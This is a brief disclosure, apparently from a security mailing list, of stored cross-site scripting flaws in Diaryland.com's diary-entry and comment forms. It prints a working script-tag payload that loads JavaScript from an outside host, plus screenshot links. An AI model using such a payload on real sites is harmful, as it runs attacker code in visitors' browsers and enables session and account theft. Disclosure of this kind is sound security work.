Diaryland.com - XSS

[luny@xxxxxxxxxxxxxxx]

Diaryland.com

Homepage:
http://www.diaryland.com

Effected files:
input boxes on creating diary entries.
posting comments in diary entries

XSS Vuln PoC:

With no filter evasion at all, we simply put as our entry:

[SCRIPT SRC=http://youfucktard.com/xss.js][/SCRIPT]

Screenshots:
http://www.youfucktard.com/xsp/diary1.jpg
http://www.youfucktard.com/xsp/diary2.jpg

XSS Vuln when posting comments in entries:

Again, same as above, no filter evasion:
[SCRIPT SRC=http://youfucktard.com/xss.js][/SCRIPT]

Screenshots:
http://www.youfucktard.com/xsp/diary3.jpg
http://www.youfucktard.com/xsp/diary4.jpg